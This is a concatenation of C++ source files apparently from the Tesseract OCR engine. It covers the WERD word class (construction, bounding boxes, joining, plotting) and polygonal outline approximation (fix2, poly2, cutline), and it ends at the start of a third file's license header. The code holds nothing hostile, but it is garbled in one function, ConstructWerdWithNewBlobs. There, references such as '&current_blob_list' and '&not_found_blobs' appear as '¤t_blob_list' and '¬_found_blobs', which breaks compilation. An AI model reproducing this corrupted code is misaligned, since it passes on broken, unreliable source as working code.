** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "blckerr.h"
#include "helpers.h"
#include "linlsq.h"
#include "werd.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#define FIRST_COLOUR ScrollView::RED //< first rainbow colour
#define LAST_COLOUR ScrollView::AQUAMARINE //< last rainbow colour
#define CHILD_COLOUR ScrollView::BROWN //< colour of children
const ERRCODE CANT_SCALE_EDGESTEPS =
"Attempted to scale an edgestep format word";
ELIST2IZE(WERD)
/**
* WERD::WERD
*
* Constructor to build a WERD from a list of C_BLOBs.
* blob_list The C_BLOBs (in word order) are not copied;
* we take its elements and put them in our lists.
* blank_count blanks in front of the word
* text correct text, outlives this WERD
*/
WERD::WERD(C_BLOB_LIST *blob_list, uinT8 blank_count, const char *text)
: blanks(blank_count),
flags(0),
script_id_(0),
correct(text) {
C_BLOB_IT start_it = blob_list;
C_BLOB_IT end_it = blob_list;
C_BLOB_IT rej_cblob_it = &rej_cblobs;
C_OUTLINE_IT c_outline_it;
inT16 inverted_vote = 0;
inT16 non_inverted_vote = 0;
// Move blob_list's elements into cblobs.
while (!end_it.at_last())
end_it.forward();
cblobs.assign_to_sublist(&start_it, &end_it);
/*
Set white on black flag for the WERD, moving any duff blobs onto the
rej_cblobs list.
First, walk the cblobs checking the inverse flag for each outline of each
cblob. If a cblob has inconsistent flag settings for its different
outlines, move the blob to the reject list. Otherwise, increment the
appropriate w-on-b or b-on-w vote for the word.
Now set the inversion flag for the WERD by maximum vote.
Walk the blobs again, moving any blob whose inversion flag does not agree
with the concencus onto the reject list.
*/
start_it.set_to_list(&cblobs);
if (start_it.empty())
return;
for (start_it.mark_cycle_pt(); !start_it.cycled_list(); start_it.forward()) {
BOOL8 reject_blob = FALSE;
BOOL8 blob_inverted;
c_outline_it.set_to_list(start_it.data()->out_list());
blob_inverted = c_outline_it.data()->flag(COUT_INVERSE);
for (c_outline_it.mark_cycle_pt();
!c_outline_it.cycled_list() && !reject_blob;
c_outline_it.forward()) {
reject_blob = c_outline_it.data()->flag(COUT_INVERSE) != blob_inverted;
}
if (reject_blob) {
rej_cblob_it.add_after_then_move(start_it.extract());
} else {
if (blob_inverted)
inverted_vote++;
else
non_inverted_vote++;
}
}
flags.set_bit(W_INVERSE, (inverted_vote > non_inverted_vote));
start_it.set_to_list(&cblobs);
if (start_it.empty())
return;
for (start_it.mark_cycle_pt(); !start_it.cycled_list(); start_it.forward()) {
c_outline_it.set_to_list(start_it.data()->out_list());
if (c_outline_it.data()->flag(COUT_INVERSE) != flags.bit(W_INVERSE))
rej_cblob_it.add_after_then_move(start_it.extract());
}
}
/**
* WERD::WERD
*
* Constructor to build a WERD from a list of C_BLOBs.
* The C_BLOBs are not copied so the source list is emptied.
*/
WERD::WERD(C_BLOB_LIST * blob_list, //< In word order
WERD * clone) //< Source of flags
: flags(clone->flags),
script_id_(clone->script_id_),
correct(clone->correct) {
C_BLOB_IT start_it = blob_list; // iterator
C_BLOB_IT end_it = blob_list; // another
while (!end_it.at_last ())
end_it.forward (); //move to last
((C_BLOB_LIST *) (&cblobs))->assign_to_sublist (&start_it, &end_it);
//move to our list
blanks = clone->blanks;
// fprintf(stderr,"Wrong constructor!!!!\n");
}
// Construct a WERD from a single_blob and clone the flags from this.
// W_BOL and W_EOL flags are set according to the given values.
WERD* WERD::ConstructFromSingleBlob(bool bol, bool eol, C_BLOB* blob) {
C_BLOB_LIST temp_blobs;
C_BLOB_IT temp_it(&temp_blobs);
temp_it.add_after_then_move(blob);
WERD* blob_word = new WERD(&temp_blobs, this);
blob_word->set_flag(W_BOL, bol);
blob_word->set_flag(W_EOL, eol);
return blob_word;
}
/**
* WERD::bounding_box
*
* Return the bounding box of the WERD.
* This is quite a mess to compute!
* ORIGINALLY, REJECT CBLOBS WERE EXCLUDED, however, this led to bugs when the
* words on the row were re-sorted. The original words were built with reject
* blobs included. The FUZZY SPACE flags were set accordingly. If ALL the
* blobs in a word are rejected the BB for the word is NULL, causing the sort
* to screw up, leading to the erroneous possibility of the first word in a
* row being marked as FUZZY space.
*/
TBOX WERD::bounding_box() {
TBOX box; // box being built
C_BLOB_IT rej_cblob_it = &rej_cblobs; // rejected blobs
for (rej_cblob_it.mark_cycle_pt(); !rej_cblob_it.cycled_list();
rej_cblob_it.forward()) {
box += rej_cblob_it.data()->bounding_box();
}
C_BLOB_IT it = &cblobs; // blobs of WERD
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
box += it.data()->bounding_box();
}
return box;
}
/**
* WERD::move
*
* Reposition WERD by vector
* NOTE!! REJECT CBLOBS ARE NOT MOVED
*/
void WERD::move(const ICOORD vec) {
C_BLOB_IT cblob_it(&cblobs); // cblob iterator
for (cblob_it.mark_cycle_pt(); !cblob_it.cycled_list(); cblob_it.forward())
cblob_it.data()->move(vec);
}
/**
* WERD::join_on
*
* Join other word onto this one. Delete the old word.
*/
void WERD::join_on(WERD* other) {
C_BLOB_IT blob_it(&cblobs);
C_BLOB_IT src_it(&other->cblobs);
C_BLOB_IT rej_cblob_it(&rej_cblobs);
C_BLOB_IT src_rej_it(&other->rej_cblobs);
while (!src_it.empty()) {
blob_it.add_to_end(src_it.extract());
src_it.forward();
}
while (!src_rej_it.empty()) {
rej_cblob_it.add_to_end(src_rej_it.extract());
src_rej_it.forward();
}
}
/**
* WERD::copy_on
*
* Copy blobs from other word onto this one.
*/
void WERD::copy_on(WERD* other) {
bool reversed = other->bounding_box().left() < bounding_box().left();
C_BLOB_IT c_blob_it(&cblobs);
C_BLOB_LIST c_blobs;
c_blobs.deep_copy(&other->cblobs, &C_BLOB::deep_copy);
if (reversed) {
c_blob_it.add_list_before(&c_blobs);
} else {
c_blob_it.move_to_last();
c_blob_it.add_list_after(&c_blobs);
}
if (!other->rej_cblobs.empty()) {
C_BLOB_IT rej_c_blob_it(&rej_cblobs);
C_BLOB_LIST new_rej_c_blobs;
new_rej_c_blobs.deep_copy(&other->rej_cblobs, &C_BLOB::deep_copy);
if (reversed) {
rej_c_blob_it.add_list_before(&new_rej_c_blobs);
} else {
rej_c_blob_it.move_to_last();
rej_c_blob_it.add_list_after(&new_rej_c_blobs);
}
}
}
/**
* WERD::print
*
* Display members
*/
void WERD::print() {
tprintf("Blanks= %d\n", blanks);
bounding_box().print();
tprintf("Flags = %d = 0%o\n", flags.val, flags.val);
tprintf(" W_SEGMENTED = %s\n", flags.bit(W_SEGMENTED) ? "TRUE" : "FALSE ");
tprintf(" W_ITALIC = %s\n", flags.bit(W_ITALIC) ? "TRUE" : "FALSE ");
tprintf(" W_BOL = %s\n", flags.bit(W_BOL) ? "TRUE" : "FALSE ");
tprintf(" W_EOL = %s\n", flags.bit(W_EOL) ? "TRUE" : "FALSE ");
tprintf(" W_NORMALIZED = %s\n",
flags.bit(W_NORMALIZED) ? "TRUE" : "FALSE ");
tprintf(" W_SCRIPT_HAS_XHEIGHT = %s\n",
flags.bit(W_SCRIPT_HAS_XHEIGHT) ? "TRUE" : "FALSE ");
tprintf(" W_SCRIPT_IS_LATIN = %s\n",
flags.bit(W_SCRIPT_IS_LATIN) ? "TRUE" : "FALSE ");
tprintf(" W_DONT_CHOP = %s\n", flags.bit(W_DONT_CHOP) ? "TRUE" : "FALSE ");
tprintf(" W_REP_CHAR = %s\n", flags.bit(W_REP_CHAR) ? "TRUE" : "FALSE ");
tprintf(" W_FUZZY_SP = %s\n", flags.bit(W_FUZZY_SP) ? "TRUE" : "FALSE ");
tprintf(" W_FUZZY_NON = %s\n", flags.bit(W_FUZZY_NON) ? "TRUE" : "FALSE ");
tprintf("Correct= %s\n", correct.string());
tprintf("Rejected cblob count = %d\n", rej_cblobs.length());
tprintf("Script = %d\n", script_id_);
}
/**
* WERD::plot
*
* Draw the WERD in the given colour.
*/
#ifndef GRAPHICS_DISABLED
void WERD::plot(ScrollView *window, ScrollView::Color colour) {
C_BLOB_IT it = &cblobs;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->plot(window, colour, colour);
}
plot_rej_blobs(window);
}
// Get the next color in the (looping) rainbow.
ScrollView::Color WERD::NextColor(ScrollView::Color colour) {
ScrollView::Color next = static_cast<ScrollView::Color>(colour + 1);
if (next >= LAST_COLOUR || next < FIRST_COLOUR)
next = FIRST_COLOUR;
return next;
}
/**
* WERD::plot
*
* Draw the WERD in rainbow colours in window.
*/
void WERD::plot(ScrollView* window) {
ScrollView::Color colour = FIRST_COLOUR;
C_BLOB_IT it = &cblobs;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->plot(window, colour, CHILD_COLOUR);
colour = NextColor(colour);
}
plot_rej_blobs(window);
}
/**
* WERD::plot_rej_blobs
*
* Draw the WERD rejected blobs in window - ALWAYS GREY
*/
void WERD::plot_rej_blobs(ScrollView *window) {
C_BLOB_IT it = &rej_cblobs;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->plot(window, ScrollView::GREY, ScrollView::GREY);
}
}
#endif // GRAPHICS_DISABLED
/**
* WERD::shallow_copy()
*
* Make a shallow copy of a word
*/
WERD *WERD::shallow_copy() {
WERD *new_word = new WERD;
new_word->blanks = blanks;
new_word->flags = flags;
new_word->dummy = dummy;
new_word->correct = correct;
return new_word;
}
/**
* WERD::operator=
*
* Assign a word, DEEP copying the blob list
*/
WERD & WERD::operator= (const WERD & source) {
this->ELIST2_LINK::operator= (source);
blanks = source.blanks;
flags = source.flags;
script_id_ = source.script_id_;
dummy = source.dummy;
correct = source.correct;
if (!cblobs.empty())
cblobs.clear();
cblobs.deep_copy(&source.cblobs, &C_BLOB::deep_copy);
if (!rej_cblobs.empty())
rej_cblobs.clear();
rej_cblobs.deep_copy(&source.rej_cblobs, &C_BLOB::deep_copy);
return *this;
}
/**
* word_comparator()
*
* word comparator used to sort a word list so that words are in increasing
* order of left edge.
*/
int word_comparator(const void *word1p, const void *word2p) {
WERD *word1 = *(WERD **)word1p;
WERD *word2 = *(WERD **)word2p;
return word1->bounding_box().left() - word2->bounding_box().left();
}
/**
* WERD::ConstructWerdWithNewBlobs()
*
* This method returns a new werd constructed using the blobs in the input
* all_blobs list, which correspond to the blobs in this werd object. The
* blobs used to construct the new word are consumed and removed from the
* input all_blobs list.
* Returns NULL if the word couldn't be constructed.
* Returns original blobs for which no matches were found in the output list
* orphan_blobs (appends).
*/
WERD* WERD::ConstructWerdWithNewBlobs(C_BLOB_LIST* all_blobs,
C_BLOB_LIST* orphan_blobs) {
C_BLOB_LIST current_blob_list;
C_BLOB_IT werd_blobs_it(¤t_blob_list);
// Add the word's c_blobs.
werd_blobs_it.add_list_after(cblob_list());
// New blob list. These contain the blobs which will form the new word.
C_BLOB_LIST new_werd_blobs;
C_BLOB_IT new_blobs_it(&new_werd_blobs);
// not_found_blobs contains the list of current word's blobs for which a
// corresponding blob wasn't found in the input all_blobs list.
C_BLOB_LIST not_found_blobs;
C_BLOB_IT not_found_it(¬_found_blobs);
not_found_it.move_to_last();
werd_blobs_it.move_to_first();
for (werd_blobs_it.mark_cycle_pt(); !werd_blobs_it.cycled_list();
werd_blobs_it.forward()) {
C_BLOB* werd_blob = werd_blobs_it.extract();
TBOX werd_blob_box = werd_blob->bounding_box();
bool found = false;
// Now find the corresponding blob for this blob in the all_blobs
// list. For now, follow the inefficient method of pairwise
// comparisons. Ideally, one can pre-bucket the blobs by row.
C_BLOB_IT all_blobs_it(all_blobs);
for (all_blobs_it.mark_cycle_pt(); !all_blobs_it.cycled_list();
all_blobs_it.forward()) {
C_BLOB* a_blob = all_blobs_it.data();
// Compute the overlap of the two blobs. If major, a_blob should
// be added to the new blobs list.
TBOX a_blob_box = a_blob->bounding_box();
if (a_blob_box.null_box()) {
tprintf("Bounding box couldn't be ascertained\n");
}
if (werd_blob_box.contains(a_blob_box) ||
werd_blob_box.major_overlap(a_blob_box)) {
// Old blobs are from minimal splits, therefore are expected to be
// bigger. The new small blobs should cover a significant portion.
// This is it.
all_blobs_it.extract();
new_blobs_it.add_after_then_move(a_blob);
found = true;
}
}
if (!found) {
not_found_it.add_after_then_move(werd_blob);
} else {
delete werd_blob;
}
}
// Iterate over all not found blobs. Some of them may be due to
// under-segmentation (which is OK, since the corresponding blob is already
// in the list in that case.
not_found_it.move_to_first();
for (not_found_it.mark_cycle_pt(); !not_found_it.cycled_list();
not_found_it.forward()) {
C_BLOB* not_found = not_found_it.data();
TBOX not_found_box = not_found->bounding_box();
C_BLOB_IT existing_blobs_it(new_blobs_it);
for (existing_blobs_it.mark_cycle_pt(); !existing_blobs_it.cycled_list();
existing_blobs_it.forward()) {
C_BLOB* a_blob = existing_blobs_it.data();
TBOX a_blob_box = a_blob->bounding_box();
if ((not_found_box.major_overlap(a_blob_box) ||
a_blob_box.major_overlap(not_found_box)) &&
not_found_box.y_overlap_fraction(a_blob_box) > 0.8) {
// Already taken care of.
delete not_found_it.extract();
break;
}
}
}
if (orphan_blobs) {
C_BLOB_IT orphan_blobs_it(orphan_blobs);
orphan_blobs_it.move_to_last();
orphan_blobs_it.add_list_after(¬_found_blobs);
}
// New blobs are ready. Create a new werd object with these.
WERD* new_werd = NULL;
if (!new_werd_blobs.empty()) {
new_werd = new WERD(&new_werd_blobs, this);
} else {
// Add the blobs back to this word so that it can be reused.
C_BLOB_IT this_list_it(cblob_list());
this_list_it.add_list_after(¬_found_blobs);
}
return new_werd;
}
| C++ |
/**********************************************************************
* File: polyaprx.cpp (Formerly polygon.c)
* Description: Code for polygonal approximation from old edgeprog.
* Author: Ray Smith
* Created: Thu Nov 25 11:42:04 GMT 1993
*
* (C) Copyright 1993, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdio.h>
#ifdef __UNIX__
#include <assert.h>
#endif
#define FASTEDGELENGTH 256
#include "polyaprx.h"
#include "params.h"
#include "tprintf.h"
#define EXTERN
EXTERN BOOL_VAR(poly_debug, FALSE, "Debug old poly");
EXTERN BOOL_VAR(poly_wide_objects_better, TRUE,
"More accurate approx on wide things");
#define FIXED 4 /*OUTLINE point is fixed */
#define RUNLENGTH 1 /*length of run */
#define DIR 2 /*direction of run */
#define FLAGS 0
#define fixed_dist 20 //really an int_variable
#define approx_dist 15 //really an int_variable
const int par1 = 4500 / (approx_dist * approx_dist);
const int par2 = 6750 / (approx_dist * approx_dist);
/**********************************************************************
* tesspoly_outline
*
* Approximate an outline from chain codes form using the old tess algorithm.
* If allow_detailed_fx is true, the EDGEPTs in the returned TBLOB
* contain pointers to the input C_OUTLINEs that enable higher-resolution
* feature extraction that does not use the polygonal approximation.
**********************************************************************/
TESSLINE* ApproximateOutline(bool allow_detailed_fx, C_OUTLINE* c_outline) {
TBOX loop_box; // bounding box
inT32 area; // loop area
EDGEPT stack_edgepts[FASTEDGELENGTH]; // converted path
EDGEPT* edgepts = stack_edgepts;
// Use heap memory if the stack buffer is not big enough.
if (c_outline->pathlength() > FASTEDGELENGTH)
edgepts = new EDGEPT[c_outline->pathlength()];
loop_box = c_outline->bounding_box();
area = loop_box.height();
if (!poly_wide_objects_better && loop_box.width() > area)
area = loop_box.width();
area *= area;
edgesteps_to_edgepts(c_outline, edgepts);
fix2(edgepts, area);
EDGEPT* edgept = poly2(edgepts, area); // 2nd approximation.
EDGEPT* startpt = edgept;
EDGEPT* result = NULL;
EDGEPT* prev_result = NULL;
do {
EDGEPT* new_pt = new EDGEPT;
new_pt->pos = edgept->pos;
new_pt->prev = prev_result;
if (prev_result == NULL) {
result = new_pt;
} else {
prev_result->next = new_pt;
new_pt->prev = prev_result;
}
if (allow_detailed_fx) {
new_pt->src_outline = edgept->src_outline;
new_pt->start_step = edgept->start_step;
new_pt->step_count = edgept->step_count;
}
prev_result = new_pt;
edgept = edgept->next;
}
while (edgept != startpt);
prev_result->next = result;
result->prev = prev_result;
if (edgepts != stack_edgepts)
delete [] edgepts;
return TESSLINE::BuildFromOutlineList(result);
}
/**********************************************************************
* edgesteps_to_edgepts
*
* Convert a C_OUTLINE to EDGEPTs.
**********************************************************************/
EDGEPT *
edgesteps_to_edgepts ( //convert outline
C_OUTLINE * c_outline, //input
EDGEPT edgepts[] //output is array
) {
inT32 length; //steps in path
ICOORD pos; //current coords
inT32 stepindex; //current step
inT32 stepinc; //increment
inT32 epindex; //current EDGEPT
inT32 count; //repeated steps
ICOORD vec; //for this 8 step
ICOORD prev_vec;
inT8 epdir; //of this step
DIR128 prevdir; //prvious dir
DIR128 dir; //of this step
pos = c_outline->start_pos (); //start of loop
length = c_outline->pathlength ();
stepindex = 0;
epindex = 0;
prevdir = -1;
count = 0;
int prev_stepindex = 0;
do {
dir = c_outline->step_dir (stepindex);
vec = c_outline->step (stepindex);
if (stepindex < length - 1
&& c_outline->step_dir (stepindex + 1) - dir == -32) {
dir += 128 - 16;
vec += c_outline->step (stepindex + 1);
stepinc = 2;
}
else
stepinc = 1;
if (count == 0) {
prevdir = dir;
prev_vec = vec;
}
if (prevdir.get_dir () != dir.get_dir ()) {
edgepts[epindex].pos.x = pos.x ();
edgepts[epindex].pos.y = pos.y ();
prev_vec *= count;
edgepts[epindex].vec.x = prev_vec.x ();
edgepts[epindex].vec.y = prev_vec.y ();
pos += prev_vec;
edgepts[epindex].flags[RUNLENGTH] = count;
edgepts[epindex].prev = &edgepts[epindex - 1];
edgepts[epindex].flags[FLAGS] = 0;
edgepts[epindex].next = &edgepts[epindex + 1];
prevdir += 64;
epdir = (DIR128) 0 - prevdir;
epdir >>= 4;
epdir &= 7;
edgepts[epindex].flags[DIR] = epdir;
edgepts[epindex].src_outline = c_outline;
edgepts[epindex].start_step = prev_stepindex;
edgepts[epindex].step_count = stepindex - prev_stepindex;
epindex++;
prevdir = dir;
prev_vec = vec;
count = 1;
prev_stepindex = stepindex;
}
else
count++;
stepindex += stepinc;
}
while (stepindex < length);
edgepts[epindex].pos.x = pos.x ();
edgepts[epindex].pos.y = pos.y ();
prev_vec *= count;
edgepts[epindex].vec.x = prev_vec.x ();
edgepts[epindex].vec.y = prev_vec.y ();
pos += prev_vec;
edgepts[epindex].flags[RUNLENGTH] = count;
edgepts[epindex].flags[FLAGS] = 0;
edgepts[epindex].src_outline = c_outline;
edgepts[epindex].start_step = prev_stepindex;
edgepts[epindex].step_count = stepindex - prev_stepindex;
edgepts[epindex].prev = &edgepts[epindex - 1];
edgepts[epindex].next = &edgepts[0];
prevdir += 64;
epdir = (DIR128) 0 - prevdir;
epdir >>= 4;
epdir &= 7;
edgepts[epindex].flags[DIR] = epdir;
edgepts[0].prev = &edgepts[epindex];
ASSERT_HOST (pos.x () == c_outline->start_pos ().x ()
&& pos.y () == c_outline->start_pos ().y ());
return &edgepts[0];
}
/**********************************************************************
*fix2(start,area) fixes points on the outline according to a trial method*
**********************************************************************/
//#pragma OPT_LEVEL 1 /*stop compiler bugs*/
void fix2( //polygonal approx
EDGEPT *start, /*loop to approimate */
int area) {
register EDGEPT *edgept; /*current point */
register EDGEPT *edgept1;
register EDGEPT *loopstart; /*modified start of loop */
register EDGEPT *linestart; /*start of line segment */
register int dir1, dir2; /*directions of line */
register int sum1, sum2; /*lengths in dir1,dir2 */
int stopped; /*completed flag */
int fixed_count; //no of fixed points
int d01, d12, d23, gapmin;
TPOINT d01vec, d12vec, d23vec;
register EDGEPT *edgefix, *startfix;
register EDGEPT *edgefix0, *edgefix1, *edgefix2, *edgefix3;
edgept = start; /*start of loop */
while (((edgept->flags[DIR] - edgept->prev->flags[DIR] + 1) & 7) < 3
&& (dir1 =
(edgept->prev->flags[DIR] - edgept->next->flags[DIR]) & 7) != 2
&& dir1 != 6)
edgept = edgept->next; /*find suitable start */
loopstart = edgept; /*remember start */
stopped = 0; /*not finished yet */
edgept->flags[FLAGS] |= FIXED; /*fix it */
do {
linestart = edgept; /*possible start of line */
dir1 = edgept->flags[DIR]; /*first direction */
/*length of dir1 */
sum1 = edgept->flags[RUNLENGTH];
edgept = edgept->next;
dir2 = edgept->flags[DIR]; /*2nd direction */
/*length in dir2 */
sum2 = edgept->flags[RUNLENGTH];
if (((dir1 - dir2 + 1) & 7) < 3) {
while (edgept->prev->flags[DIR] == edgept->next->flags[DIR]) {
edgept = edgept->next; /*look at next */
if (edgept->flags[DIR] == dir1)
/*sum lengths */
sum1 += edgept->flags[RUNLENGTH];
else
sum2 += edgept->flags[RUNLENGTH];
}
if (edgept == loopstart)
stopped = 1; /*finished */
if (sum2 + sum1 > 2
&& linestart->prev->flags[DIR] == dir2
&& (linestart->prev->flags[RUNLENGTH] >
linestart->flags[RUNLENGTH] || sum2 > sum1)) {
/*start is back one */
linestart = linestart->prev;
linestart->flags[FLAGS] |= FIXED;
}
if (((edgept->next->flags[DIR] - edgept->flags[DIR] + 1) & 7) >= 3
|| (edgept->flags[DIR] == dir1 && sum1 >= sum2)
|| ((edgept->prev->flags[RUNLENGTH] < edgept->flags[RUNLENGTH]
|| (edgept->flags[DIR] == dir2 && sum2 >= sum1))
&& linestart->next != edgept))
edgept = edgept->next;
}
/*sharp bend */
edgept->flags[FLAGS] |= FIXED;
}
/*do whole loop */
while (edgept != loopstart && !stopped);
edgept = start;
do {
if (((edgept->flags[RUNLENGTH] >= 8) &&
(edgept->flags[DIR] != 2) && (edgept->flags[DIR] != 6)) ||
((edgept->flags[RUNLENGTH] >= 8) &&
((edgept->flags[DIR] == 2) || (edgept->flags[DIR] == 6)))) {
edgept->flags[FLAGS] |= FIXED;
edgept1 = edgept->next;
edgept1->flags[FLAGS] |= FIXED;
}
edgept = edgept->next;
}
while (edgept != start);
edgept = start;
do {
/*single fixed step */
if (edgept->flags[FLAGS] & FIXED && edgept->flags[RUNLENGTH] == 1
/*and neighours free */
&& edgept->next->flags[FLAGS] & FIXED && (edgept->prev->flags[FLAGS] & FIXED) == 0
/*same pair of dirs */
&& (edgept->next->next->flags[FLAGS] & FIXED) == 0 && edgept->prev->flags[DIR] == edgept->next->flags[DIR] && edgept->prev->prev->flags[DIR] == edgept->next->next->flags[DIR]
&& ((edgept->prev->flags[DIR] - edgept->flags[DIR] + 1) & 7) < 3) {
/*unfix it */
edgept->flags[FLAGS] &= ~FIXED;
edgept->next->flags[FLAGS] &= ~FIXED;
}
edgept = edgept->next; /*do all points */
}
while (edgept != start); /*until finished */
stopped = 0;
if (area < 450)
area = 450;
gapmin = area * fixed_dist * fixed_dist / 44000;
edgept = start;
fixed_count = 0;
do {
if (edgept->flags[FLAGS] & FIXED)
fixed_count++;
edgept = edgept->next;
}
while (edgept != start);
while ((edgept->flags[FLAGS] & FIXED) == 0)
edgept = edgept->next;
edgefix0 = edgept;
edgept = edgept->next;
while ((edgept->flags[FLAGS] & FIXED) == 0)
edgept = edgept->next;
edgefix1 = edgept;
edgept = edgept->next;
while ((edgept->flags[FLAGS] & FIXED) == 0)
edgept = edgept->next;
edgefix2 = edgept;
edgept = edgept->next;
while ((edgept->flags[FLAGS] & FIXED) == 0)
edgept = edgept->next;
edgefix3 = edgept;
startfix = edgefix2;
do {
if (fixed_count <= 3)
break; //already too few
point_diff (d12vec, edgefix1->pos, edgefix2->pos);
d12 = LENGTH (d12vec);
// TODO(rays) investigate this change:
// Only unfix a point if it is part of a low-curvature section
// of outline and the total angle change of the outlines is
// less than 90 degrees, ie the scalar product is positive.
// if (d12 <= gapmin && SCALAR(edgefix0->vec, edgefix2->vec) > 0) {
if (d12 <= gapmin) {
point_diff (d01vec, edgefix0->pos, edgefix1->pos);
d01 = LENGTH (d01vec);
point_diff (d23vec, edgefix2->pos, edgefix3->pos);
d23 = LENGTH (d23vec);
if (d01 > d23) {
edgefix2->flags[FLAGS] &= ~FIXED;
fixed_count--;
}
else {
edgefix1->flags[FLAGS] &= ~FIXED;
fixed_count--;
edgefix1 = edgefix2;
}
}
else {
edgefix0 = edgefix1;
edgefix1 = edgefix2;
}
edgefix2 = edgefix3;
edgept = edgept->next;
while ((edgept->flags[FLAGS] & FIXED) == 0) {
if (edgept == startfix)
stopped = 1;
edgept = edgept->next;
}
edgefix3 = edgept;
edgefix = edgefix2;
}
while ((edgefix != startfix) && (!stopped));
}
//#pragma OPT_LEVEL 2 /*stop compiler bugs*/
/**********************************************************************
*poly2(startpt,area,path) applies a second approximation to the outline
*using the points which have been fixed by the first approximation*
**********************************************************************/
EDGEPT *poly2( //second poly
EDGEPT *startpt, /*start of loop */
int area /*area of blob box */
) {
register EDGEPT *edgept; /*current outline point */
EDGEPT *loopstart; /*starting point */
register EDGEPT *linestart; /*start of line */
register int edgesum; /*correction count */
if (area < 1200)
area = 1200; /*minimum value */
loopstart = NULL; /*not found it yet */
edgept = startpt; /*start of loop */
do {
/*current point fixed */
if (edgept->flags[FLAGS] & FIXED
/*and next not */
&& (edgept->next->flags[FLAGS] & FIXED) == 0) {
loopstart = edgept; /*start of repoly */
break;
}
edgept = edgept->next; /*next point */
}
while (edgept != startpt); /*until found or finished */
if (loopstart == NULL && (startpt->flags[FLAGS] & FIXED) == 0) {
/*fixed start of loop */
startpt->flags[FLAGS] |= FIXED;
loopstart = startpt; /*or start of loop */
}
if (loopstart) {
do {
edgept = loopstart; /*first to do */
do {
linestart = edgept;
edgesum = 0; /*sum of lengths */
do {
/*sum lengths */
edgesum += edgept->flags[RUNLENGTH];
edgept = edgept->next; /*move on */
}
while ((edgept->flags[FLAGS] & FIXED) == 0
&& edgept != loopstart && edgesum < 126);
if (poly_debug)
tprintf
("Poly2:starting at (%d,%d)+%d=(%d,%d),%d to (%d,%d)\n",
linestart->pos.x, linestart->pos.y, linestart->flags[DIR],
linestart->vec.x, linestart->vec.y, edgesum, edgept->pos.x,
edgept->pos.y);
/*reapproximate */
cutline(linestart, edgept, area);
while ((edgept->next->flags[FLAGS] & FIXED)
&& edgept != loopstart)
edgept = edgept->next; /*look for next non-fixed */
}
/*do all the loop */
while (edgept != loopstart);
edgesum = 0;
do {
if (edgept->flags[FLAGS] & FIXED)
edgesum++;
edgept = edgept->next;
}
//count fixed pts
while (edgept != loopstart);
if (edgesum < 3)
area /= 2; //must have 3 pts
}
while (edgesum < 3);
do {
linestart = edgept;
do {
edgept = edgept->next;
}
while ((edgept->flags[FLAGS] & FIXED) == 0);
linestart->next = edgept;
edgept->prev = linestart;
linestart->vec.x = edgept->pos.x - linestart->pos.x;
linestart->vec.y = edgept->pos.y - linestart->pos.y;
}
while (edgept != loopstart);
}
else
edgept = startpt; /*start of loop */
loopstart = edgept; /*new start */
return loopstart; /*correct exit */
}
/**********************************************************************
*cutline(first,last,area) straightens out a line by partitioning
*and joining the ends by a straight line*
**********************************************************************/
void cutline( //recursive refine
EDGEPT *first, /*ends of line */
EDGEPT *last,
int area /*area of object */
) {
register EDGEPT *edge; /*current edge */
TPOINT vecsum; /*vector sum */
int vlen; /*approx length of vecsum */
TPOINT vec; /*accumulated vector */
EDGEPT *maxpoint; /*worst point */
int maxperp; /*max deviation */
register int perp; /*perp distance */
int ptcount; /*no of points */
int squaresum; /*sum of perps */
edge = first; /*start of line */
if (edge->next == last)
return; /*simple line */
/*vector sum */
vecsum.x = last->pos.x - edge->pos.x;
vecsum.y = last->pos.y - edge->pos.y;
if (vecsum.x == 0 && vecsum.y == 0) {
/*special case */
vecsum.x = -edge->prev->vec.x;
vecsum.y = -edge->prev->vec.y;
}
/*absolute value */
vlen = vecsum.x > 0 ? vecsum.x : -vecsum.x;
if (vecsum.y > vlen)
vlen = vecsum.y; /*maximum */
else if (-vecsum.y > vlen)
vlen = -vecsum.y; /*absolute value */
vec.x = edge->vec.x; /*accumulated vector */
vec.y = edge->vec.y;
maxperp = 0; /*none yet */
squaresum = ptcount = 0;
edge = edge->next; /*move to actual point */
maxpoint = edge; /*in case there isn't one */
do {
perp = CROSS (vec, vecsum); /*get perp distance */
if (perp != 0) {
perp *= perp; /*squared deviation */
}
squaresum += perp; /*sum squares */
ptcount++; /*count points */
if (poly_debug)
tprintf ("Cutline:Final perp=%d\n", perp);
if (perp > maxperp) {
maxperp = perp;
maxpoint = edge; /*find greatest deviation */
}
vec.x += edge->vec.x; /*accumulate vectors */
vec.y += edge->vec.y;
edge = edge->next;
}
while (edge != last); /*test all line */
perp = LENGTH (vecsum);
ASSERT_HOST (perp != 0);
if (maxperp < 256 * MAX_INT16) {
maxperp <<= 8;
maxperp /= perp; /*true max perp */
}
else {
maxperp /= perp;
maxperp <<= 8; /*avoid overflow */
}
if (squaresum < 256 * MAX_INT16)
/*mean squared perp */
perp = (squaresum << 8) / (perp * ptcount);
else
/*avoid overflow */
perp = (squaresum / perp << 8) / ptcount;
if (poly_debug)
tprintf ("Cutline:A=%d, max=%.2f(%.2f%%), msd=%.2f(%.2f%%)\n",
area, maxperp / 256.0, maxperp * 200.0 / area,
perp / 256.0, perp * 300.0 / area);
if (maxperp * par1 >= 10 * area || perp * par2 >= 10 * area || vlen >= 126) {
maxpoint->flags[FLAGS] |= FIXED;
/*partitions */
cutline(first, maxpoint, area);
cutline(maxpoint, last, area);
}
}
| C++ |
/**********************************************************************
* File: quadlsq.cpp (Formerly qlsq.c)
* Description: Code for least squares approximation of quadratics.
* Author: Ray Smith
* Created: Wed Oct 6 15:14:23 BST 1993
*
* (C) Copyright 1993, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
